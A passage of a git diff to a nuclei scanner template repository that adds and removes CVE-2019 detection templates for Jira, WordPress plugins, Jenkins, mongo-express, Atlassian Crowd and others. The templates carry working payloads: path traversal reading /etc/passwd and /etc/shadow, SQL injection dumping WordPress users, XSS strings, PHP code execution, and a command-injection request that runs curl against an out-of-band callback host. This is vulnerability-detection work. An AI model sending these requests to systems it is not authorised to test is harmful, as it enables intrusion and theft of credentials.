CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2019-8442 - tags: cve,cve2019,atlassian,jira,lfi -requests: - - method: GET - path: - - "{{BaseURL}}/s/{{randstr}}/_/WEB-INF/classes/META-INF/maven/com.atlassian.jira/jira-core/pom.xml" - - "{{BaseURL}}/s/{{randstr}}/_/META-INF/maven/com.atlassian.jira/atlassian-jira-webapp/pom.xml" - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: word - words: - - 'com.atlassian.jira' - part: body diff --git a/nuclei-templates/CVE-2019/CVE-2019-8446.yaml b/nuclei-templates/CVE-2019/CVE-2019-8446.yaml deleted file mode 100644 index 091c59fb45..0000000000 --- a/nuclei-templates/CVE-2019/CVE-2019-8446.yaml +++ /dev/null @@ -1,44 +0,0 @@ -id: CVE-2019-8446 - -info: - name: Jira Improper Authorization - author: dhiyaneshDk - severity: medium - description: The /rest/issueNav/1/issueTable resource in Jira before version 8.3.2 allows remote attackers to enumerate usernames via an incorrect authorisation check. - reference: - - https://jira.atlassian.com/browse/JRASERVER-69777 - - https://www.talosintelligence.com/vulnerability_reports/TALOS-2019-0839 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N - cvss-score: 5.3 - cve-id: CVE-2019-8446 - cwe-id: CWE-863 - cpe: cpe:2.3:a:atlassian:jira_server:*:*:*:*:*:*:*:* - epss-score: 0.0874 - metadata: - max-request: 1 - shodan-query: http.component:"Atlassian Jira" - tags: cve,cve2019,jira - -http: - - raw: - - | - POST /rest/issueNav/1/issueTable HTTP/1.1 - Host: {{Hostname}} - Connection: Close - Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3 - X-Atlassian-Token: no-check - Accept-Encoding: gzip, deflate - Accept-Language: en-US,en;q=0.9 - - {'jql':'project in projectsLeadByUser("{{randstr}}")'} - - matchers-condition: and - matchers: - - type: word - words: - - "the user does not exist" - part: body - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2019/CVE-2019-8449.yaml b/nuclei-templates/CVE-2019/CVE-2019-8449.yaml new file mode 100644 index 0000000000..e223ce24ae --- /dev/null +++ b/nuclei-templates/CVE-2019/CVE-2019-8449.yaml @@ -0,0 +1,44 @@ +id: CVE-2019-8449 + +info: + name: Jira <8.4.0 - Information Disclosure + author: harshbothra_ + severity: medium + description: Jira before 8.4.0 is susceptible to information disclosure. The /rest/api/latest/groupuserpicker resource can allow an attacker to enumerate usernames, and thereby potentially obtain sensitive information, modify data, and/or execute unauthorized operations. + remediation: | + Upgrade Jira to version 8.4.0 or later to fix the information disclosure vulnerability. + reference: + - https://www.doyler.net/security-not-included/more-jira-enumeration + - https://jira.atlassian.com/browse/JRASERVER-69796 + - http://packetstormsecurity.com/files/156172/Jira-8.3.4-Information-Disclosure.html + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N + cvss-score: 5.3 + cve-id: CVE-2019-8449 + cwe-id: CWE-306 + epss-score: 0.24444 + epss-percentile: 0.96152 + cpe: cpe:2.3:a:atlassian:jira:*:*:*:*:*:*:*:* + metadata: + max-request: 1 + vendor: atlassian + product: jira + shodan-query: http.component:"Atlassian Jira" + tags: atlassian,jira,disclosure,packetstorm,cve,cve2019 + +http: + - method: GET + path: + - '{{BaseURL}}/rest/api/latest/groupuserpicker?query=1&maxResults=50000&showAvatar=true' + + matchers-condition: and + matchers: + - type: word + part: body + words: + - '{"users":{"users":' + + - type: status + status: + - 200 +# digest: 490a00463044022032fa3a37482232ad58a713b3742f38aa150a848abd5436973eef30186cf1291002207d3c889487f13b8f986f30af265fda4b8d960304c4c83d0940fd9cc6fd462265:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2019/CVE-2019-8903.yaml b/nuclei-templates/CVE-2019/CVE-2019-8903.yaml deleted file mode 100644 index 7b40a67c18..0000000000 --- a/nuclei-templates/CVE-2019/CVE-2019-8903.yaml +++ /dev/null @@ -1,31 +0,0 @@ -id: CVE-2019-8903 - -info: - name: Totaljs - Unauthenticated Directory Traversal - author: madrobot - severity: high - description: index.js in Total.js Platform before 3.2.3 allows path traversal. - reference: - - https://blog.certimetergroup.com/it/articolo/security/total.js-directory-traversal-cve-2019-8903 - - https://github.com/totaljs/framework/commit/c37cafbf3e379a98db71c1125533d1e8d5b5aef7 - - https://github.com/totaljs/framework/commit/de16238d13848149f5d1dae51f54e397a525932b - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2019-8903 - cwe-id: CWE-22 - tags: cve,cve2019,totaljs,lfi - -requests: - - method: GET - path: - - "{{BaseURL}}/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/var/www/html/index.html" - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: word - words: - - "apache2.conf" - part: body diff --git a/nuclei-templates/CVE-2019/cve-2019-8937.yaml b/nuclei-templates/CVE-2019/CVE-2019-8937.yaml similarity index 100% rename from nuclei-templates/CVE-2019/cve-2019-8937.yaml rename to nuclei-templates/CVE-2019/CVE-2019-8937.yaml diff --git a/nuclei-templates/CVE-2019/CVE-2019-9041.yaml b/nuclei-templates/CVE-2019/CVE-2019-9041.yaml new file mode 100644 index 0000000000..f3628f2967 --- /dev/null +++ b/nuclei-templates/CVE-2019/CVE-2019-9041.yaml @@ -0,0 +1,41 @@ +id: CVE-2019-9041 + +info: + name: ZZZCMS 1.6.1 - Remote Code Execution + author: pikpikcu + severity: high + description: ZZZCMS zzzphp V1.6.1 is vulnerable to remote code execution via the inc/zzz_template.php file because the parserIfLabel() function's filtering is not strict, resulting in PHP code execution as demonstrated by the if:assert substring. + reference: + - https://www.exploit-db.com/exploits/46454/ + - http://www.iwantacve.cn/index.php/archives/118/ + - https://nvd.nist.gov/vuln/detail/CVE-2019-9041 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H + cvss-score: 7.2 + cve-id: CVE-2019-9041 + cwe-id: CWE-917 + tags: cve,cve2019,zzzcms,rce,edb + metadata: + max-request: 1 + +http: + - method: POST + path: + - "{{BaseURL}}/search/" + headers: + Content-Type: application/x-www-form-urlencoded + body: | + keys={if:array_map(base_convert(27440799224,10,32),array(1))}{end if} + + matchers-condition: and + matchers: + - type: word + words: + - "phpinfo" + - "PHP Version" + part: body + - type: status + status: + - 200 + +# Enhanced by mp on 2022/07/08 diff --git a/nuclei-templates/CVE-2019/cve-2019-9082.yaml b/nuclei-templates/CVE-2019/CVE-2019-9082.yaml similarity index 100% rename from nuclei-templates/CVE-2019/cve-2019-9082.yaml rename to nuclei-templates/CVE-2019/CVE-2019-9082.yaml diff --git a/nuclei-templates/CVE-2019/CVE-2019-9618.yaml b/nuclei-templates/CVE-2019/CVE-2019-9618.yaml new file mode 100644 index 0000000000..d2563f9e28 --- /dev/null +++ b/nuclei-templates/CVE-2019/CVE-2019-9618.yaml @@ -0,0 +1,36 @@ +id: CVE-2019-9618 + +info: + name: WordPress GraceMedia Media Player 1.0 - Local File Inclusion + author: daffainfo + severity: critical + description: WordPress GraceMedia Media Player plugin 1.0 is susceptible to local file inclusion via the cfg parameter. + reference: + - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9618 + - https://seclists.org/fulldisclosure/2019/Mar/26 + - https://www.exploit-db.com/exploits/46537 + - https://nvd.nist.gov/vuln/detail/CVE-2019-9618 + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2019-9618 + cwe-id: CWE-22 + tags: cve,cve2019,wordpress,wp-plugin,lfi + +requests: + - method: GET + path: + - "{{BaseURL}}/wp-content/plugins/gracemedia-media-player/templates/files/ajax_controller.php?ajaxAction=getIds&cfg=../../../../../../../../../../etc/passwd" + + matchers-condition: and + matchers: + - type: regex + regex: + - "root:.*:0:0:" + + - type: status + status: + - 200 + - 500 + +# Enhanced by mp on 2022/05/03 diff --git a/nuclei-templates/CVE-2019/CVE-2019-9726.yaml b/nuclei-templates/CVE-2019/CVE-2019-9726.yaml deleted file mode 100644 index f7ec3dec2b..0000000000 --- a/nuclei-templates/CVE-2019/CVE-2019-9726.yaml +++ /dev/null @@ -1,47 +0,0 @@ -id: CVE-2019-9726 - -info: - name: Homematic CCU3 - Local File Inclusion - author: 0x_Akoko - severity: high - description: eQ-3 AG Homematic CCU3 3.43.15 and earlier allows remote attackers to read arbitrary files of the device's filesystem, aka local file inclusion. This vulnerability can be exploited by unauthenticated attackers with access to the web interface. - impact: | - An attacker can exploit this vulnerability to read sensitive files on the system. - remediation: | - Apply the latest security patches or updates provided by the vendor. - reference: - - https://atomic111.github.io/article/homematic-ccu3-fileread - - https://nvd.nist.gov/vuln/detail/CVE-2019-9726 - - https://github.com/ARPSyndicate/kenzer-templates - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N - cvss-score: 7.5 - cve-id: CVE-2019-9726 - cwe-id: CWE-22 - epss-score: 0.03616 - epss-percentile: 0.91446 - cpe: cpe:2.3:o:eq-3:ccu3_firmware:*:*:*:*:*:*:*:* - metadata: - max-request: 1 - vendor: eq-3 - product: ccu3_firmware - tags: cve2019,cve,homematic,lfi,eq-3 - -http: - - method: GET - path: - - "{{BaseURL}}/.%00./.%00./etc/passwd" - - matchers-condition: and - matchers: - - type: regex - part: body - regex: - - "root:.*:0:0:" - - "bin:.*:0:0:" - condition: or - - - type: status - status: - - 200 -# digest: 4a0a00473045022031bc43dea7cfc90774685068cd90021151fceba9b4b8f74d240f43ffd9da260f022100e9a810e028752235841a1478091eb49535ca89ffbda302ebfc1b39c013e59fca:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2019/CVE-2019-9915.yaml b/nuclei-templates/CVE-2019/CVE-2019-9915.yaml deleted file mode 100644 index 0127935998..0000000000 --- a/nuclei-templates/CVE-2019/CVE-2019-9915.yaml +++ /dev/null @@ -1,32 +0,0 @@ -id: CVE-2019-9915 -info: - name: GetSimpleCMS 3.3.13 - Open Redirection - author: 0x_Akoko - severity: medium - description: GetSimpleCMS 3.3.13 has an Open Redirect via the admin/index.php redirect parameter. - reference: - - https://www.invicti.com/web-applications-advisories/ns-18-056-open-redirection-vulnerability-in-getsimplecms - - https://github.com/GetSimpleCMS/GetSimpleCMS/issues/1300 - - https://www.cvedetails.com/cve/CVE-2019-9915 - - https://www.netsparker.com/web-applications-advisories/ns-18-056-open-redirection-vulnerability-in-getsimplecms/ - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2019-9915 - cwe-id: CWE-601 - metadata: - verified: "true" - tags: cve,cve2019,redirect,getsimple,cms -requests: - - raw: - - | - POST /admin/index.php?redirect=https://interact.sh/ HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - userid={{username}}&pwd={{password}}&submitted=Login - matchers: - - type: regex - part: header - regex: - - '(?m)^(?:Location\s*?:\s*?)(?:https?:\/\/|\/\/|\/\\\\|\/\\)?(?:[a-zA-Z0-9\-_\.@]*)interact\.sh\/' # https://regex101.com/r/ZDYhFh/1 diff --git a/nuclei-templates/CVE-2019/cve-2019-1010287.yaml b/nuclei-templates/CVE-2019/cve-2019-1010287.yaml deleted file mode 100644 index 02fb5c9607..0000000000 --- a/nuclei-templates/CVE-2019/cve-2019-1010287.yaml +++ /dev/null @@ -1,38 +0,0 @@ -id: CVE-2019-1010287 - -info: - name: Timesheet 1.5.3 - Cross Site Scripting - author: pikpikcu - severity: medium - description: "Timesheet Next Gen 1.5.3 and earlier is affected by: Cross Site Scripting (XSS). The impact is: Allows an attacker to execute arbitrary HTML and JavaScript code via a \"redirect\" parameter. The component is: Web login form: login.php, lines 40 and 54. The attack vector is: reflected XSS, victim may click the malicious url." - reference: - - https://nvd.nist.gov/vuln/detail/CVE-2019-1010287 - - http://www.mdh-tz.info/ # demo - tags: cve,cve2019,timesheet,xss - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.10 - cve-id: CVE-2019-1010287 - cwe-id: CWE-79 - metadata: - google-dork: inurl:"/timesheet/login.php" - -requests: - - raw: - - | - POST /timesheet/login.php HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - username=%27%22%3E%3Cscript%3Ejavascript%3Aalert%28document.domain%29%3C%2Fscript%3E&password=pd&submit=Login - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: word - words: - - '>' - part: body diff --git a/nuclei-templates/CVE-2019/cve-2019-10405.yaml b/nuclei-templates/CVE-2019/cve-2019-10405.yaml new file mode 100644 index 0000000000..997c8eb39f --- /dev/null +++ b/nuclei-templates/CVE-2019/cve-2019-10405.yaml @@ -0,0 +1,56 @@ +id: CVE-2019-10405 + +info: + name: Diagnostic page exposed Cookie HTTP header + severity: medium + author: c-sh0 + description: Jenkins 2.196 and earlier, LTS 2.176.3 and earlier printed the value of the Cookie on the /whoAmI/ URL + reference: + - https://nvd.nist.gov/vuln/detail/CVE-2019-10405 + - https://jenkins.io/security/advisory/2019-09-25/#SECURITY-1505 + metadata: + shodan-query: http.favicon.hash:81586312 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N + cvss-score: 4.30 + cve-id: CVE-2019-10405 + cwe-id: CWE-200 + tags: cve,cve2019,jenkins + +requests: + - raw: + - | + GET {{BaseURL}}/whoAmI/ HTTP/1.1 + Host: {{Hostname}} + + - | + GET {{BaseURL}}/whoAmI/ HTTP/1.1 + Host: {{Hostname}} + + cookie-reuse: true + req-condition: true + matchers-condition: and + matchers: + - type: status + status: + - 200 + + - type: word + part: header + words: + - 'text/html' + - 'x-jenkins' + condition: and + case-insensitive: true + + - type: word + part: body_2 + words: + - 'Cookie' + - 'JSESSIONID' + condition: and + + extractors: + - type: kval + kval: + - x_jenkins \ No newline at end of file diff --git a/nuclei-templates/CVE-2019/cve-2019-10475.yaml b/nuclei-templates/CVE-2019/cve-2019-10475.yaml deleted file mode 100644 index 483032d353..0000000000 --- a/nuclei-templates/CVE-2019/cve-2019-10475.yaml +++ /dev/null @@ -1,36 +0,0 @@ -id: CVE-2019-10475 - -info: - name: Jenkins build-metrics plugin 1.3 - 'label' Cross-Site Scripting - author: madrobot - severity: medium - tags: cve,cve2019,jenkins,xss,plugin - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.10 - cve-id: CVE-2019-10475 - cwe-id: CWE-79 - description: "A reflected cross-site scripting vulnerability in Jenkins build-metrics Plugin allows attackers to inject arbitrary HTML and JavaScript into web pages provided by this plugin." - reference: - - https://jenkins.io/security/advisory/2019-10-23/#SECURITY-1490 - - http://www.openwall.com/lists/oss-security/2019/10/23/2 - - http://packetstormsecurity.com/files/155200/Jenkins-Build-Metrics-1.3-Cross-Site-Scripting.html - -requests: - - method: GET - path: - - "{{BaseURL}}/plugin/build-metrics/getBuildStats?label=%22%3E%3Csvg%2Fonload%3Dalert(1337)%3E&range=2&rangeUnits=Weeks&jobFilteringType=ALL&jobFilter=&nodeFilteringType=ALL&nodeFilter=&launcherFilteringType=ALL&launcherFilter=&causeFilteringType=ALL&causeFilter=&Jenkins-Crumb=4412200a345e2a8cad31f07e8a09e18be6b7ee12b1b6b917bc01a334e0f20a96&json=%7B%22label%22%3A+%22Search+Results%22%2C+%22range%22%3A+%222%22%2C+%22rangeUnits%22%3A+%22Weeks%22%2C+%22jobFilteringType%22%3A+%22ALL%22%2C+%22jobNameRegex%22%3A+%22%22%2C+%22jobFilter%22%3A+%22%22%2C+%22nodeFilteringType%22%3A+%22ALL%22%2C+%22nodeNameRegex%22%3A+%22%22%2C+%22nodeFilter%22%3A+%22%22%2C+%22launcherFilteringType%22%3A+%22ALL%22%2C+%22launcherNameRegex%22%3A+%22%22%2C+%22launcherFilter%22%3A+%22%22%2C+%22causeFilteringType%22%3A+%22ALL%22%2C+%22causeNameRegex%22%3A+%22%22%2C+%22causeFilter%22%3A+%22%22%2C+%22Jenkins-Crumb%22%3A+%224412200a345e2a8cad31f07e8a09e18be6b7ee12b1b6b917bc01a334e0f20a96%22%7D&Submit=Search" - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: word - words: - - "" - part: body - - - type: word - words: - - "text/html" - part: header diff --git a/nuclei-templates/CVE-2019/cve-2019-10692.yaml b/nuclei-templates/CVE-2019/cve-2019-10692.yaml new file mode 100644 index 0000000000..a15f0cd07d --- /dev/null +++ b/nuclei-templates/CVE-2019/cve-2019-10692.yaml @@ -0,0 +1,57 @@ +id: CVE-2019-10692 + +info: + name: WordPress Google Maps <7.11.18 - SQL Injection + author: pussycat0x + severity: critical + description: | + WordPress Google Maps plugin before 7.11.18 contains a SQL injection vulnerability. The plugin includes /class.rest-api.php in the REST API and does not sanitize field names before a SELECT statement. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site. + impact: | + Successful exploitation of this vulnerability could lead to unauthorized access to the WordPress database. + remediation: | + Update to the latest version of the WordPress Google Maps plugin (7.11.18 or higher). + reference: + - https://wpscan.com/vulnerability/475404ce-2a1a-4d15-bf02-df0ea2afdaea + - https://wordpress.org/plugins/wp-google-maps/#developers + - https://plugins.trac.wordpress.org/changeset?old_path=%2Fwp-google-maps&old=2061433&new_path=%2Fwp-google-maps&new=2061434&sfp_email=&sfph_mail=#file755 + - https://nvd.nist.gov/vuln/detail/CVE-2019-10692 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.8 + cve-id: CVE-2019-10692 + cwe-id: CWE-89 + epss-score: 0.9737 + epss-percentile: 0.99889 + cpe: cpe:2.3:a:codecabin:wp_go_maps:*:*:*:*:*:wordpress:*:* + metadata: + verified: true + max-request: 1 + vendor: codecabin + product: wp_go_maps + framework: wordpress + tags: cve2019,cve,wp,wp-plugin,unauth,sqli,wordpress,googlemaps,wpscan,codecabin + +http: + - method: GET + path: + - "{{BaseURL}}/?rest_route=/wpgmza/v1/markers&filter=%7b%7d&fields=%2a%20from%20wp_users--%20-" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - '"user_login"' + - '"user_pass"' + - '"user_nicename"' + condition: and + + - type: word + part: header + words: + - application/json + + - type: status + status: + - 200 +# digest: 4a0a00473045022100c806b890a97e99051ab9b8870e02ada13436f59da4752594ce9b67a1128d22d40220703e18d56fabf954d54d723644533979ffb22a19e26d64263430140e7f069c9d:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2019/cve-2019-10717.yaml b/nuclei-templates/CVE-2019/cve-2019-10717.yaml new file mode 100644 index 0000000000..a69c522e03 --- /dev/null +++ b/nuclei-templates/CVE-2019/cve-2019-10717.yaml @@ -0,0 +1,54 @@ +id: CVE-2019-10717 + +info: + name: BlogEngine.NET 3.3.7.0 - Local File Inclusion + author: arafatansari + severity: high + description: | + BlogEngine.NET 3.3.7.0 allows /api/filemanager local file inclusion via the path parameter + impact: | + An attacker can exploit this vulnerability to read sensitive files, execute arbitrary code, or launch further attacks. + remediation: | + Upgrade to a patched version of BlogEngine.NET or apply the vendor-supplied patch to mitigate this vulnerability. + reference: + - https://www.securitymetrics.com/blog/Blogenginenet-Directory-Traversal-Listing-Login-Page-Unvalidated-Redirect + - https://github.com/rxtur/BlogEngine.NET/commits/master + - https://nvd.nist.gov/vuln/detail/CVE-2019-10717 + - http://seclists.org/fulldisclosure/2019/Jun/44 + - https://github.com/ARPSyndicate/kenzer-templates + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:N + cvss-score: 7.1 + cve-id: CVE-2019-10717 + cwe-id: CWE-22 + epss-score: 0.00409 + epss-percentile: 0.712 + cpe: cpe:2.3:a:dotnetblogengine:blogengine.net:3.3.7.0:*:*:*:*:*:*:* + metadata: + verified: true + max-request: 1 + vendor: dotnetblogengine + product: blogengine.net + shodan-query: http.html:"Blogengine.net" + tags: cve,cve2019,seclists,blogengine,lfi,traversal,dotnetblogengine + +http: + - method: GET + path: + - "{{BaseURL}}/api/filemanager?path=%2F..%2f..%2fContent" + + matchers-condition: and + matchers: + - type: word + part: header + words: + - "application/json" + + - type: regex + regex: + - '~/App_Data/files/../../([a-zA-Z0-9\.\-]+)/([a-z0-9]+)' + + - type: status + status: + - 200 +# digest: 4a0a00473045022100e9835e960c185d264844ff6a1c0dcc4461f0848d00e894bb0681a656b4939db90220223530414a1d116e03bae637ebc7a0b6037ac08c0f2daee019cd5fc664d2e36f:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2019/cve-2019-10758.yaml b/nuclei-templates/CVE-2019/cve-2019-10758.yaml deleted file mode 100644 index 9ce3a78eca..0000000000 --- a/nuclei-templates/CVE-2019/cve-2019-10758.yaml +++ /dev/null @@ -1,35 +0,0 @@ -id: CVE-2019-10758 - -info: - name: mongo-express Remote Code Execution - author: princechaddha - severity: critical - description: "mongo-express before 0.54.0 is vulnerable to remote code execution via endpoints that uses the `toBSON` method and misuse the `vm` dependency to perform `exec` commands in a non-safe environment." - reference: - - https://github.com/vulhub/vulhub/tree/master/mongo-express/CVE-2019-10758 - - https://nvd.nist.gov/vuln/detail/CVE-2019-10758 - remediation: Upgrade mongo-express to version 0.54.0 or higher. - metadata: - shodan-query: http.title:"Mongo Express" - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H - cvss-score: 9.90 - cve-id: CVE-2019-10758 - tags: cve,cve2019,mongo,mongo-express - -requests: - - raw: - - | - POST /checkValid HTTP/1.1 - Host: {{Hostname}} - Authorization: Basic YWRtaW46cGFzcw== - Content-Type: application/x-www-form-urlencoded - - document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("curl http://{{interactsh-url}}") - matchers: - - type: word - part: interactsh_protocol # Confirms the HTTP Interaction - words: - - "http" - -# Enhanced by mp on 2022/03/29 diff --git a/nuclei-templates/CVE-2019/CVE-2019-11043.yaml b/nuclei-templates/CVE-2019/cve-2019-11043.yaml similarity index 100% rename from nuclei-templates/CVE-2019/CVE-2019-11043.yaml rename to nuclei-templates/CVE-2019/cve-2019-11043.yaml diff --git a/nuclei-templates/CVE-2019/cve-2019-11248.yaml b/nuclei-templates/CVE-2019/cve-2019-11248.yaml new file mode 100644 index 0000000000..7d3e107c36 --- /dev/null +++ b/nuclei-templates/CVE-2019/cve-2019-11248.yaml @@ -0,0 +1,26 @@ +id: CVE-2019-11248 + +info: + name: exposed_pprof + author: 0xceeb + severity: high + tags: cve,cve2019,debug + description: The debugging endpoint /debug/pprof is exposed over the unauthenticated Kubelet healthz port. The go pprof endpoint is exposed over the Kubelet's healthz port. This debugging endpoint can potentially leak sensitive information such as internal Kubelet memory addresses and configuration, or for limited denial of service. Versions prior to 1.15.0, 1.14.4, 1.13.8, and 1.12.10 are affected. The issue is of medium severity, but not exposed by the default configuration. + reference: + - https://medium.com/bugbountywriteup/my-first-bug-bounty-21d3203ffdb0 + - http://mmcloughlin.com/posts/your-pprof-is-showing + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:L + cvss-score: 8.20 + cve-id: CVE-2019-11248 + cwe-id: CWE-862 + +requests: + - method: GET + path: + - "{{BaseURL}}/debug/pprof/" + matchers: + - type: word + words: + - "Types of profiles available:" + - "Profile Descriptions" \ No newline at end of file diff --git a/nuclei-templates/CVE-2019/CVE-2019-11510.yaml b/nuclei-templates/CVE-2019/cve-2019-11510.yaml similarity index 100% rename from nuclei-templates/CVE-2019/CVE-2019-11510.yaml rename to nuclei-templates/CVE-2019/cve-2019-11510.yaml diff --git a/nuclei-templates/CVE-2019/cve-2019-11580.yaml b/nuclei-templates/CVE-2019/cve-2019-11580.yaml deleted file mode 100644 index 095100bde7..0000000000 --- a/nuclei-templates/CVE-2019/cve-2019-11580.yaml +++ /dev/null @@ -1,43 +0,0 @@ -id: CVE-2019-11580 - -info: - name: Atlassian Crowd & Crowd Data Center - Unauthenticated RCE - author: dwisiswant0 - severity: critical - tags: cve,cve2019,atlassian,rce - - description: | - Atlassian Crowd and Crowd Data Center - had the pdkinstall development plugin incorrectly enabled in release builds. - Attackers who can send unauthenticated or authenticated requests - to a Crowd or Crowd Data Center instance can exploit this vulnerability - to install arbitrary plugins, which permits remote code execution on - systems running a vulnerable version of Crowd or Crowd Data Center. - All versions of Crowd from version 2.1.0 before 3.0.5 (the fixed version for 3.0.x), - from version 3.1.0 before 3.1.6 (the fixed version for 3.1.x), - from version 3.2.0 before 3.2.8 (the fixed version for 3.2.x), - from version 3.3.0 before 3.3.5 (the fixed version for 3.3.x), - and from version 3.4.0 before 3.4.4 (the fixed version for 3.4.x) are affected by this vulnerability. - reference: - - https://github.com/jas502n/CVE-2019-11580 - - https://jira.atlassian.com/browse/CWD-5388 - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.80 - cve-id: CVE-2019-11580 - -requests: - - method: GET - path: - - "{{BaseURL}}/crowd/plugins/servlet/exp?cmd=cat%20/etc/shadow" - matchers-condition: and - matchers: - - type: word - words: - - "root:*:" - - "bin:*:" - condition: and - part: body - - type: status - status: - - 200 \ No newline at end of file diff --git a/nuclei-templates/CVE-2019/cve-2019-12461.yaml b/nuclei-templates/CVE-2019/cve-2019-12461.yaml new file mode 100644 index 0000000000..ea015d4b9d --- /dev/null +++ b/nuclei-templates/CVE-2019/cve-2019-12461.yaml @@ -0,0 +1,35 @@ +id: CVE-2019-12461 + +info: + name: WebPort 1.19.1 - Reflected Cross-Site Scripting + author: pikpikcu + severity: medium + description: Web Port 1.19.1 allows XSS via the /log type parameter. + tags: cve,cve2019,xss + reference: + - https://github.com/EmreOvunc/WebPort-v1.19.1-Reflected-XSS + - https://webport.se/nedladdningar/ + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N + cvss-score: 6.10 + cve-id: CVE-2019-12461 + cwe-id: CWE-79 + +requests: + - method: GET + path: + - '{{BaseURL}}/log?type=%22%3C/script%3E%3Cscript%3Ealert(document.domain);%3C/script%3E%3Cscript%3E' + + matchers-condition: and + matchers: + - type: status + status: + - 200 + - type: word + words: + - '"" - - "/wp-content/themes/citybook" - condition: and - - - type: word - part: header - words: - - text/html - - - type: status - status: - - 200 -# digest: 4b0a00483046022100faf232bd3b470896bfd6f1839431dd8e6ead641fbbb1e451fca6962d26d4edd2022100a4c614560de90fa39676fe8a354bc91018b6af8965156c03a8cab5a1497d0698:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/nuclei-templates/CVE-2019/cve-2019-20354.yaml b/nuclei-templates/CVE-2019/cve-2019-20354.yaml new file mode 100644 index 0000000000..b02d059684 --- /dev/null +++ b/nuclei-templates/CVE-2019/cve-2019-20354.yaml @@ -0,0 +1,32 @@ +id: CVE-2019-20354 + +info: + author: "pikpikcu" + name: "piSignage 2.6.4 Directory Traversal" + severity: High + + #Source:-https://github.com/colloqi/piSignage/issues/97 + +requests: + - raw: + - | + GET /api/settings/log?file=../../../../../../../../../../etc/passwd HTTP/1.1 + Host: {{Hostname}} + User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:68.0) Gecko/20100101 Firefox/68.0 + Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 + Accept-Language: en-US,en;q=0.5 + Accept-Encoding: gzip, deflate + Content-Type: application/x-www-form-urlencoded + Content-Length: 277 + Connection: close + Referer: {{Hostname}} + + matchers-condition: and + matchers: + - type: status + status: + - 200 + - type: regex + part: body + regex: + - "root:[x*]:0:0:" diff --git a/nuclei-templates/CVE-2019/cve-2019-20933.yaml b/nuclei-templates/CVE-2019/cve-2019-20933.yaml deleted file mode 100644 index 8f2e603c54..0000000000 --- a/nuclei-templates/CVE-2019/cve-2019-20933.yaml +++ /dev/null @@ -1,50 +0,0 @@ -id: CVE-2019-20933 - -info: - name: InfluxDB <1.7.6 - Authentication Bypass - author: pussycat0x,c-sh0 - severity: critical - description: InfluxDB before 1.7.6 contains an authentication bypass vulnerability via the authenticate function in services/httpd/handler.go. A JWT token may have an empty SharedSecret (aka shared secret). An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. - impact: | - An attacker can bypass authentication and gain unauthorized access to the InfluxDB database. - remediation: Update Influxdb to version 1.7.6~rc0-1 or higher. - reference: - - https://github.com/LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933 - - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-20933 - - https://github.com/influxdata/influxdb/compare/v1.7.5...v1.7.6 - - https://nvd.nist.gov/vuln/detail/CVE-2019-20933 - - https://github.com/influxdata/influxdb/commit/761b557315ff9c1642cf3b0e5797cd3d983a24c0 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 